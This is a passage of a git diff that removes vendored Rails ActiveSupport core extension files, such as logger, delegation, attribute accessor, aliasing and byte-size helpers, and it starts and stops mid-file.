-    $VERBOSE = old_verbose
-  end
-
-  # Sets $VERBOSE to true for the duration of the block and back to its original value afterwards.
-  def enable_warnings
-    old_verbose, $VERBOSE = $VERBOSE, true
-    yield
-  ensure
-    $VERBOSE = old_verbose
-  end
-
-  # For compatibility
-  def silence_stderr #:nodoc:
-    silence_stream(STDERR) { yield }
-  end
-
-  # Silences any stream for the duration of the block.
-  #
-  #   silence_stream(STDOUT) do
-  #     puts 'This will never be seen'
-  #   end
-  #
-  #   puts 'But this will'
-  def silence_stream(stream)
-    old_stream = stream.dup
-    stream.reopen(RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'NUL:' : '/dev/null')
-    stream.sync = true
-    yield
-  ensure
-    stream.reopen(old_stream)
-  end
-
-  # Blocks and ignores any exception passed as argument if raised within the block.
-  #
-  #   suppress(ZeroDivisionError) do
-  #     1/0
-  #     puts "This code is NOT reached"
-  #   end
-  #
-  #   puts "This code gets executed and nothing related to ZeroDivisionError was seen"
-  def suppress(*exception_classes)
-    begin yield
-    rescue Exception => e
-      raise unless exception_classes.any? { |cls| e.kind_of?(cls) }
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/requires.rb b/vendor/rails/activesupport/lib/active_support/core_ext/kernel/requires.rb
deleted file mode 100644
index 323fea49..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/requires.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-module Kernel
-  # Require a library with fallback to RubyGems.  Warnings during library
-  # loading are silenced to increase signal/noise for application warnings.
-  def require_library_or_gem(library_name)
-    silence_warnings do
-      begin
-        require library_name
-      rescue LoadError => cannot_require
-        # 1. Requiring the module is unsuccessful, maybe it's a gem and nobody required rubygems yet. Try.
-        begin
-          require 'rubygems'
-        rescue LoadError => rubygems_not_installed
-          raise cannot_require
-        end
-        # 2. Rubygems is installed and loaded. Try to load the library again
-        begin
-          require library_name
-        rescue LoadError => gem_not_installed
-          raise cannot_require
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb b/vendor/rails/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
deleted file mode 100644
index 33612155..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/kernel/singleton_class.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module Kernel
-  # Returns the object's singleton class.
-  def singleton_class
-    class << self
-      self
-    end
-  end unless respond_to?(:singleton_class) # exists in 1.9.2
-
-  # class_eval on an object acts like singleton_class.class_eval.
-  def class_eval(*args, &block)
-    singleton_class.class_eval(*args, &block)
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/load_error.rb b/vendor/rails/activesupport/lib/active_support/core_ext/load_error.rb
deleted file mode 100644
index 6165e954..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/load_error.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-class MissingSourceFile < LoadError #:nodoc:
-  attr_reader :path
-  def initialize(message, path)
-    super(message)
-    @path = path
-  end
-
-  def is_missing?(path)
-    path.gsub(/\.rb$/, '') == self.path.gsub(/\.rb$/, '')
-  end
-
-  def self.from_message(message)
-    REGEXPS.each do |regexp, capture|
-      match = regexp.match(message)
-      return MissingSourceFile.new(message, match[capture]) unless match.nil?
-    end
-    nil
-  end
-
-  REGEXPS = [
-    [/^no such file to load -- (.+)$/i, 1],
-    [/^Missing \w+ (file\s*)?([^\s]+.rb)$/i, 2],
-    [/^Missing API definition file in (.+)$/i, 1]
-  ] unless defined?(REGEXPS)
-end
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module LoadErrorExtensions #:nodoc:
-      module LoadErrorClassMethods #:nodoc:
-        def new(*args)
-          (self == LoadError && MissingSourceFile.from_message(args.first)) || super
-        end
-      end
-      ::LoadError.extend(LoadErrorClassMethods)
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/logger.rb b/vendor/rails/activesupport/lib/active_support/core_ext/logger.rb
deleted file mode 100644
index 858da7aa..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/logger.rb
+++ /dev/null
@@ -1,145 +0,0 @@
-# Adds the 'around_level' method to Logger.
-
-class Logger
-  def self.define_around_helper(level)
-    module_eval <<-end_eval
-      def around_#{level}(before_message, after_message, &block)  # def around_debug(before_message, after_message, &block)
-        self.#{level}(before_message)                             #   self.debug(before_message)
-        return_value = block.call(self)                           #   return_value = block.call(self)
-        self.#{level}(after_message)                              #   self.debug(after_message)
-        return return_value                                       #   return return_value
-      end                                                         # end
-    end_eval
-  end
-  [:debug, :info, :error, :fatal].each {|level| define_around_helper(level) }
-end
-
-
-require 'logger'
-
-# Extensions to the built in Ruby logger.
-#
-# If you want to use the default log formatter as defined in the Ruby core, then you
-# will need to set the formatter for the logger as in:
-#
-#   logger.formatter = Formatter.new
-#
-# You can then specify the datetime format, for example:
-#
-#   logger.datetime_format = "%Y-%m-%d"
-#
-# Note: This logger is deprecated in favor of ActiveSupport::BufferedLogger
-class Logger
-  ##
-  # :singleton-method:
-  # Set to false to disable the silencer
-  cattr_accessor :silencer
-  self.silencer = true
-
-  # Silences the logger for the duration of the block.
-  def silence(temporary_level = Logger::ERROR)
-    if silencer
-      begin
-        old_logger_level, self.level = level, temporary_level
-        yield self
-      ensure
-        self.level = old_logger_level
-      end
-    else
-      yield self
-    end
-  end
-
-  alias :old_datetime_format= :datetime_format=
-  # Logging date-time format (string passed to +strftime+). Ignored if the formatter
-  # does not respond to datetime_format=.
-  def datetime_format=(datetime_format)
-    formatter.datetime_format = datetime_format if formatter.respond_to?(:datetime_format=)
-  end
-
-  alias :old_datetime_format :datetime_format
-  # Get the logging datetime format. Returns nil if the formatter does not support
-  # datetime formatting.
-  def datetime_format
-    formatter.datetime_format if formatter.respond_to?(:datetime_format)
-  end
-
-  alias :old_formatter :formatter if method_defined?(:formatter)
-  # Get the current formatter. The default formatter is a SimpleFormatter which only
-  # displays the log message
-  def formatter
-    @formatter ||= SimpleFormatter.new
-  end
-
-  unless const_defined? :Formatter
-    class Formatter
-      Format = "%s, [%s#%d] %5s -- %s: %s\n"
-
-      attr_accessor :datetime_format
-
-      def initialize
-        @datetime_format = nil
-      end
-
-      def call(severity, time, progname, msg)
-        Format % [severity[0..0], format_datetime(time), $$, severity, progname,
-        msg2str(msg)]
-      end
-
-      private
-        def format_datetime(time)
-          if @datetime_format.nil?
-            time.strftime("%Y-%m-%dT%H:%M:%S.") << "%06d " % time.usec
-          else
-            time.strftime(@datetime_format)
-          end
-        end
-
-        def msg2str(msg)
-          case msg
-          when ::String
-            msg
-          when ::Exception
-            "#{ msg.message } (#{ msg.class })\n" <<
-            (msg.backtrace || []).join("\n")
-          else
-            msg.inspect
-          end
-        end
-    end
-  end
-
-  # Simple formatter which only displays the message.
-  class SimpleFormatter < Logger::Formatter
-    # This method is invoked when a log event occurs
-    def call(severity, timestamp, progname, msg)
-      "#{String === msg ? msg : msg.inspect}\n"
-    end
-  end
-
-  private
-    alias old_format_message format_message
-
-    # Ruby 1.8.3 transposed the msg and progname arguments to format_message.
-    # We can't test RUBY_VERSION because some distributions don't keep Ruby
-    # and its standard library in sync, leading to installations of Ruby 1.8.2
-    # with Logger from 1.8.3 and vice versa.
-    if method_defined?(:formatter=)
-      def format_message(severity, timestamp, progname, msg)
-        formatter.call(severity, timestamp, progname, msg)
-      end
-    else
-      def format_message(severity, timestamp, msg, progname)
-        formatter.call(severity, timestamp, progname, msg)
-      end
-
-      attr_writer :formatter
-      public :formatter=
-
-      alias old_format_datetime format_datetime
-      def format_datetime(datetime) datetime end
-
-      alias old_msg2str msg2str
-      def msg2str(msg) msg end
-    end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module.rb
deleted file mode 100644
index da8d28ec..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'active_support/core_ext/module/inclusion'
-require 'active_support/core_ext/module/attribute_accessors'
-require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/module/attr_accessor_with_default'
-require 'active_support/core_ext/module/delegation'
-require 'active_support/core_ext/module/introspection'
-require 'active_support/core_ext/module/loading'
-require 'active_support/core_ext/module/aliasing'
-require 'active_support/core_ext/module/model_naming'
-require 'active_support/core_ext/module/synchronization'
-
-module ActiveSupport
-  module CoreExtensions
-    # Various extensions for the Ruby core Module class.
-    module Module
-      # Nothing here. Only defined for API documentation purposes.
-    end
-  end
-end
-
-class Module
-  include ActiveSupport::CoreExtensions::Module
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/aliasing.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/aliasing.rb
deleted file mode 100644
index 5dafd065..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/aliasing.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-module ActiveSupport
-  module CoreExtensions
-    module Module
-      # Encapsulates the common pattern of:
-      #
-      #   alias_method :foo_without_feature, :foo
-      #   alias_method :foo, :foo_with_feature
-      #
-      # With this, you simply do:
-      #
-      #   alias_method_chain :foo, :feature
-      #
-      # And both aliases are set up for you.
-      #
-      # Query and bang methods (foo?, foo!) keep the same punctuation:
-      #
-      #   alias_method_chain :foo?, :feature
-      #
-      # is equivalent to
-      #
-      #   alias_method :foo_without_feature?, :foo?
-      #   alias_method :foo?, :foo_with_feature?
-      #
-      # so you can safely chain foo, foo?, and foo! with the same feature.
-      def alias_method_chain(target, feature)
-        # Strip out punctuation on predicates or bang methods since
-        # e.g. target?_without_feature is not a valid method name.
-        aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1
-        yield(aliased_target, punctuation) if block_given?
-
-        with_method, without_method = "#{aliased_target}_with_#{feature}#{punctuation}", "#{aliased_target}_without_#{feature}#{punctuation}"
-
-        alias_method without_method, target
-        alias_method target, with_method
-
-        case
-          when public_method_defined?(without_method)
-            public target
-          when protected_method_defined?(without_method)
-            protected target
-          when private_method_defined?(without_method)
-            private target
-        end
-      end
-
-      # Allows you to make aliases for attributes, which includes
-      # getter, setter, and query methods.
-      #
-      # Example:
-      #
-      #   class Content < ActiveRecord::Base
-      #     # has a title attribute
-      #   end
-      #
-      #   class Email < Content
-      #     alias_attribute :subject, :title
-      #   end
-      #
-      #   e = Email.find(1)
-      #   e.title    # => "Superstars"
-      #   e.subject  # => "Superstars"
-      #   e.subject? # => true
-      #   e.subject = "Megastars"
-      #   e.title    # => "Megastars"
-      def alias_attribute(new_name, old_name)
-        module_eval <<-STR, __FILE__, __LINE__ + 1
-          def #{new_name}; self.#{old_name}; end          # def subject; self.title; end
-          def #{new_name}?; self.#{old_name}?; end        # def subject?; self.title?; end
-          def #{new_name}=(v); self.#{old_name} = v; end  # def subject=(v); self.title = v; end
-        STR
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb
deleted file mode 100644
index 28ac89da..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_accessor_with_default.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-class Module
-  # Declare an attribute accessor with an initial default return value.
-  #
-  # To give attribute <tt>:age</tt> the initial value <tt>25</tt>:
-  #  
-  #   class Person
-  #     attr_accessor_with_default :age, 25
-  #   end
-  #
-  #   some_person.age
-  #   => 25
-  #   some_person.age = 26
-  #   some_person.age
-  #   => 26
-  #
-  # To give attribute <tt>:element_name</tt> a dynamic default value, evaluated
-  # in scope of self:
-  #
-  #   attr_accessor_with_default(:element_name) { name.underscore } 
-  #
-  def attr_accessor_with_default(sym, default = nil, &block)
-    raise 'Default value or block required' unless !default.nil? || block
-    define_method(sym, block_given? ? block : Proc.new { default })
-    module_eval(<<-EVAL, __FILE__, __LINE__ + 1)
-      def #{sym}=(value)                        # def age=(value)
-        class << self; attr_reader :#{sym} end  #   class << self; attr_reader :age end
-        @#{sym} = value                         #   @age = value
-      end                                       # end
-    EVAL
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_internal.rb
deleted file mode 100644
index b66c0d75..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/attr_internal.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-class Module
-  # Declares an attribute reader backed by an internally-named instance variable.
-  def attr_internal_reader(*attrs)
-    attrs.each do |attr|
-      module_eval "def #{attr}() #{attr_internal_ivar_name(attr)} end"
-    end
-  end
-
-  # Declares an attribute writer backed by an internally-named instance variable.
-  def attr_internal_writer(*attrs)
-    attrs.each do |attr|
-      module_eval "def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end"
-    end
-  end
-
-  # Declares an attribute reader and writer backed by an internally-named instance
-  # variable.
-  def attr_internal_accessor(*attrs)
-    attr_internal_reader(*attrs)
-    attr_internal_writer(*attrs)
-  end
-
-  alias_method :attr_internal, :attr_internal_accessor
-
-  private
-    mattr_accessor :attr_internal_naming_format
-    self.attr_internal_naming_format = '@_%s'
-
-    def attr_internal_ivar_name(attr)
-      attr_internal_naming_format % attr
-    end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
deleted file mode 100644
index 54a29c03..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require "active_support/core_ext/array"
-
-# Extends the module object with module and instance accessors for class attributes, 
-# just like the native attr* accessors for instance attributes.
-#
-#  module AppConfiguration
-#    mattr_accessor :google_api_key
-#    self.google_api_key = "123456789"
-#
-#    mattr_accessor :paypal_url
-#    self.paypal_url = "www.sandbox.paypal.com"
-#  end
-#
-#  AppConfiguration.google_api_key = "overriding the api key!"
-class Module
-  def mattr_reader(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      next if sym.is_a?(Hash)
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}
-          @@#{sym}
-        end
-      EOS
-
-      unless options[:instance_reader] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}
-            @@#{sym}
-          end
-        EOS
-      end
-    end
-  end
-  
-  def mattr_writer(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}=(obj)
-          @@#{sym} = obj
-        end
-      EOS
-
-      unless options[:instance_writer] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}=(obj)
-            @@#{sym} = obj
-          end
-        EOS
-      end
-    end
-  end
-  
-  def mattr_accessor(*syms)
-    mattr_reader(*syms)
-    mattr_writer(*syms)
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/delegation.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/delegation.rb
deleted file mode 100644
index d7796fcd..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ /dev/null
@@ -1,135 +0,0 @@
-class Module
-  # Provides a delegate class method to easily expose contained objects' methods
-  # as your own. Pass one or more methods (specified as symbols or strings)
-  # and the name of the target object as the final <tt>:to</tt> option (also a symbol
-  # or string).  At least one method and the <tt>:to</tt> option are required.
-  #
-  # Delegation is particularly useful with Active Record associations:
-  #
-  #   class Greeter < ActiveRecord::Base
-  #     def hello()   "hello"   end
-  #     def goodbye() "goodbye" end
-  #   end
-  #
-  #   class Foo < ActiveRecord::Base
-  #     belongs_to :greeter
-  #     delegate :hello, :to => :greeter
-  #   end
-  #
-  #   Foo.new.hello   # => "hello"
-  #   Foo.new.goodbye # => NoMethodError: undefined method `goodbye' for #<Foo:0x1af30c>
-  #
-  # Multiple delegates to the same target are allowed:
-  #
-  #   class Foo < ActiveRecord::Base
-  #     belongs_to :greeter
-  #     delegate :hello, :goodbye, :to => :greeter
-  #   end
-  #
-  #   Foo.new.goodbye # => "goodbye"
-  #
-  # Methods can be delegated to instance variables, class variables, or constants
-  # by providing them as a symbols:
-  #
-  #   class Foo
-  #     CONSTANT_ARRAY = [0,1,2,3]
-  #     @@class_array  = [4,5,6,7]
-  #     
-  #     def initialize
-  #       @instance_array = [8,9,10,11]
-  #     end
-  #     delegate :sum, :to => :CONSTANT_ARRAY
-  #     delegate :min, :to => :@@class_array
-  #     delegate :max, :to => :@instance_array
-  #   end
-  #
-  #   Foo.new.sum # => 6
-  #   Foo.new.min # => 4
-  #   Foo.new.max # => 11
-  #
-  # Delegates can optionally be prefixed using the <tt>:prefix</tt> option. If the value
-  # is <tt>true</tt>, the delegate methods are prefixed with the name of the object being
-  # delegated to.
-  #
-  #   Person = Struct.new(:name, :address)
-  #
-  #   class Invoice < Struct.new(:client)
-  #     delegate :name, :address, :to => :client, :prefix => true
-  #   end
-  #
-  #   john_doe = Person.new("John Doe", "Vimmersvej 13")
-  #   invoice = Invoice.new(john_doe)
-  #   invoice.client_name    # => "John Doe"
-  #   invoice.client_address # => "Vimmersvej 13"
-  #
-  # It is also possible to supply a custom prefix.
-  #
-  #   class Invoice < Struct.new(:client)
-  #     delegate :name, :address, :to => :client, :prefix => :customer
-  #   end
-  #
-  #   invoice = Invoice.new(john_doe)
-  #   invoice.customer_name    # => "John Doe"
-  #   invoice.customer_address # => "Vimmersvej 13"
-  #
-  # If the object to which you delegate can be nil, you may want to use the
-  # :allow_nil option. In that case, it returns nil instead of raising a
-  # NoMethodError exception:
-  #
-  #  class Foo
-  #    attr_accessor :bar
-  #    def initialize(bar = nil)
-  #      @bar = bar
-  #    end
-  #    delegate :zoo, :to => :bar
-  #  end
-  #
-  #  Foo.new.zoo   # raises NoMethodError exception (you called nil.zoo)
-  #
-  #  class Foo
-  #    attr_accessor :bar
-  #    def initialize(bar = nil)
-  #      @bar = bar
-  #    end
-  #    delegate :zoo, :to => :bar, :allow_nil => true
-  #  end
-  #
-  #  Foo.new.zoo   # returns nil
-  #
-  def delegate(*methods)
-    options = methods.pop
-    unless options.is_a?(Hash) && to = options[:to]
-      raise ArgumentError, "Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, :to => :greeter)."
-    end
-
-    if options[:prefix] == true && options[:to].to_s =~ /^[^a-z_]/
-      raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method."
-    end
-
-    prefix = options[:prefix] && "#{options[:prefix] == true ? to : options[:prefix]}_"
-
-    file, line = caller.first.split(':', 2)
-    line = line.to_i
-
-    methods.each do |method|
-      on_nil =
-        if options[:allow_nil]
-          'return'
-        else
-          %(raise "#{prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
-        end
-
-      module_eval(<<-EOS, file, line)
-        def #{prefix}#{method}(*args, &block)               # def customer_name(*args, &block)
-          #{to}.__send__(#{method.inspect}, *args, &block)  #   client.__send__(:name, *args, &block)
-        rescue NoMethodError                                # rescue NoMethodError
-          if #{to}.nil?                                     #   if client.nil?
-            #{on_nil}
-          else                                              #   else
-            raise                                           #     raise
-          end                                               #   end
-        end                                                 # end
-      EOS
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/inclusion.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/inclusion.rb
deleted file mode 100644
index 4f238416..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/inclusion.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-class Module
-  # Returns the classes in the current ObjectSpace where this module has been
-  # mixed in according to Module#included_modules.
-  #
-  #   module M
-  #   end
-  #   
-  #   module N
-  #     include M
-  #   end
-  #   
-  #   class C
-  #     include M
-  #   end
-  #   
-  #   class D < C
-  #   end
-  #
-  #   p M.included_in_classes # => [C, D]
-  #
-  def included_in_classes
-    classes = []
-    ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) }
-
-    classes.reverse.inject([]) do |unique_classes, klass| 
-      unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s)
-      unique_classes
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/introspection.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/introspection.rb
deleted file mode 100644
index 8beaff4b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/introspection.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-module ActiveSupport
-  module CoreExtensions
-    module Module
-      # Returns the name of the module containing this one.
-      #
-      #   p M::N.parent_name # => "M"
-      def parent_name
-        unless defined? @parent_name
-          @parent_name = name =~ /::[^:]+\Z/ ? $`.freeze : nil
-        end
-        @parent_name
-      end
-
-      # Returns the module which contains this one according to its name.
-      #
-      #   module M
-      #     module N
-      #     end
-      #   end
-      #   X = M::N
-      #
-      #   p M::N.parent # => M
-      #   p X.parent    # => M
-      #
-      # The parent of top-level and anonymous modules is Object.
-      #
-      #   p M.parent          # => Object
-      #   p Module.new.parent # => Object
-      #
-      def parent
-        parent_name ? parent_name.constantize : Object
-      end
-
-      # Returns all the parents of this module according to its name, ordered from
-      # nested outwards. The receiver is not contained within the result.
-      #
-      #   module M
-      #     module N
-      #     end
-      #   end
-      #   X = M::N
-      #
-      #   p M.parents    # => [Object]
-      #   p M::N.parents # => [M, Object]
-      #   p X.parents    # => [M, Object]
-      #
-      def parents
-        parents = []
-        if parent_name
-          parts = parent_name.split('::')
-          until parts.empty?
-            parents << (parts * '::').constantize
-            parts.pop
-          end
-        end
-        parents << Object unless parents.include? Object
-        parents
-      end
-
-      if RUBY_VERSION < '1.9'
-        # Returns the constants that have been defined locally by this object and
-        # not in an ancestor. This method is exact if running under Ruby 1.9. In
-        # previous versions it may miss some constants if their definition in some
-        # ancestor is identical to their definition in the receiver.
-        def local_constants
-          inherited = {}
-
-          ancestors.each do |anc|
-            next if anc == self
-            anc.constants.each { |const| inherited[const] = anc.const_get(const) }
-          end
-
-          constants.select do |const|
-            !inherited.key?(const) || inherited[const].object_id != const_get(const).object_id
-          end
-        end
-      else
-        def local_constants #:nodoc:
-          constants(false)
-        end
-      end
-
-      # Returns the names of the constants defined locally rather than the
-      # constants themselves. See <tt>local_constants</tt>.
-      def local_constant_names
-        local_constants.map { |c| c.to_s }
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/loading.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/loading.rb
deleted file mode 100644
index 4b4b110b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/loading.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-class Module
-  # Returns String#underscore applied to the module name minus trailing classes.
-  #
-  #   ActiveRecord.as_load_path               # => "active_record"
-  #   ActiveRecord::Associations.as_load_path # => "active_record/associations"
-  #   ActiveRecord::Base.as_load_path         # => "active_record" (Base is a class)
-  #
-  # The Kernel module gives an empty string by definition.
-  #
-  #   Kernel.as_load_path # => ""
-  #   Math.as_load_path   # => "math"
-  def as_load_path
-    if self == Object || self == Kernel
-      ''
-    elsif is_a? Class
-      parent == self ? '' : parent.as_load_path
-    else
-      name.split('::').collect do |word|
-        word.underscore
-      end * '/'
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/model_naming.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/model_naming.rb
deleted file mode 100644
index 9686be01..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/model_naming.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-module ActiveSupport
-  class ModelName < String
-    attr_reader :singular, :plural, :element, :collection, :partial_path
-    alias_method :cache_key, :collection
-
-    def initialize(name)
-      super
-      @singular = ActiveSupport::Inflector.underscore(self).tr('/', '_').freeze
-      @plural = ActiveSupport::Inflector.pluralize(@singular).freeze
-      @element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self)).freeze
-      @collection = ActiveSupport::Inflector.tableize(self).freeze
-      @partial_path = "#{@collection}/#{@element}".freeze
-    end
-  end
-
-  module CoreExtensions
-    module Module
-      # Returns an ActiveSupport::ModelName object for module. It can be
-      # used to retrieve all kinds of naming-related information.
-      def model_name
-        @model_name ||= ::ActiveSupport::ModelName.new(name)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/remove_method.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/remove_method.rb
deleted file mode 100644
index 2714a46b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/remove_method.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-class Module
-  def remove_possible_method(method)
-    remove_method(method)
-  rescue NameError
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb b/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb
deleted file mode 100644
index f645d8ee..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/module/synchronization.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-class Module
-  # Synchronize access around a method, delegating synchronization to a
-  # particular mutex. A mutex (either a Mutex, or any object that responds to 
-  # #synchronize and yields to a block) must be provided as a final :with option.
-  # The :with option should be a symbol or string, and can represent a method, 
-  # constant, or instance or class variable.
-  # Example:
-  #   class SharedCache
-  #     @@lock = Mutex.new
-  #     def expire
-  #       ...
-  #     end
-  #     synchronize :expire, :with => :@@lock
-  #   end
-  def synchronize(*methods)
-    options = methods.extract_options!
-    unless options.is_a?(Hash) && with = options[:with]
-      raise ArgumentError, "Synchronization needs a mutex. Supply an options hash with a :with key as the last argument (e.g. synchronize :hello, :with => :@mutex)."
-    end
-
-    methods.each do |method|
-      aliased_method, punctuation = method.to_s.sub(/([?!=])$/, ''), $1
-
-      if method_defined?("#{aliased_method}_without_synchronization#{punctuation}")
-        raise ArgumentError, "#{method} is already synchronized. Double synchronization is not currently supported."
-      end
-
-      module_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        def #{aliased_method}_with_synchronization#{punctuation}(*args, &block)     # def expire_with_synchronization(*args, &block)
-          #{with}.synchronize do                                                    #   @@lock.synchronize do
-            #{aliased_method}_without_synchronization#{punctuation}(*args, &block)  #     expire_without_synchronization(*args, &block)
-          end                                                                       #   end
-        end                                                                         # end
-      EOS
-
-      alias_method_chain method, :synchronization
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/name_error.rb b/vendor/rails/activesupport/lib/active_support/core_ext/name_error.rb
deleted file mode 100644
index 57621b94..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/name_error.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# Add a +missing_name+ method to NameError instances.
-class NameError #:nodoc:  
-  # Add a method to obtain the missing name from a NameError.
-  def missing_name
-    if /undefined local variable or method/ !~ message
-      $1 if /((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/ =~ message
-    end
-  end
-  
-  # Was this exception raised because the given name was missing?
-  def missing_name?(name)
-    if name.is_a? Symbol
-      last_name = (missing_name || '').split('::').last
-      last_name == name.to_s
-    else
-      missing_name == name.to_s
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/numeric.rb b/vendor/rails/activesupport/lib/active_support/core_ext/numeric.rb
deleted file mode 100644
index 759b86b8..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/numeric.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'active_support/core_ext/numeric/time'
-require 'active_support/core_ext/numeric/bytes'
-require 'active_support/core_ext/numeric/conversions'
-
-class Numeric #:nodoc:
-  include ActiveSupport::CoreExtensions::Numeric::Time 
-  include ActiveSupport::CoreExtensions::Numeric::Bytes
-  include ActiveSupport::CoreExtensions::Numeric::Conversions 
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/numeric/bytes.rb b/vendor/rails/activesupport/lib/active_support/core_ext/numeric/bytes.rb
deleted file mode 100644
index d3ff615e..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/numeric/bytes.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Numeric #:nodoc:
-      # Enables the use of byte calculations and declarations, like 45.bytes + 2.6.megabytes
-      module Bytes
-        KILOBYTE = 1024
-        MEGABYTE = KILOBYTE * 1024
-        GIGABYTE = MEGABYTE * 1024
-        TERABYTE = GIGABYTE * 1024
-        PETABYTE = TERABYTE * 1024
-        EXABYTE  = PETABYTE * 1024
-
-        def bytes
-          self
-        end
-        alias :byte :bytes
-
-        def kilobytes
-          self * KILOBYTE
-        end
-        alias :kilobyte :kilobytes
-
-        def megabytes
-          self * MEGABYTE
-        end
-        alias :megabyte :megabytes
-
-        def gigabytes
-          self * GIGABYTE
-        end
-        alias :gigabyte :gigabytes
-
-        def terabytes
-          self * TERABYTE
-        end
-        alias :terabyte :terabytes
-
-        def petabytes
-          self * PETABYTE
-        end
-        alias :petabyte :petabytes
-
-        def exabytes
-          self * EXABYTE
-        end
-        alias :exabyte :exabytes
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/numeric/conversions.rb
deleted file mode 100644
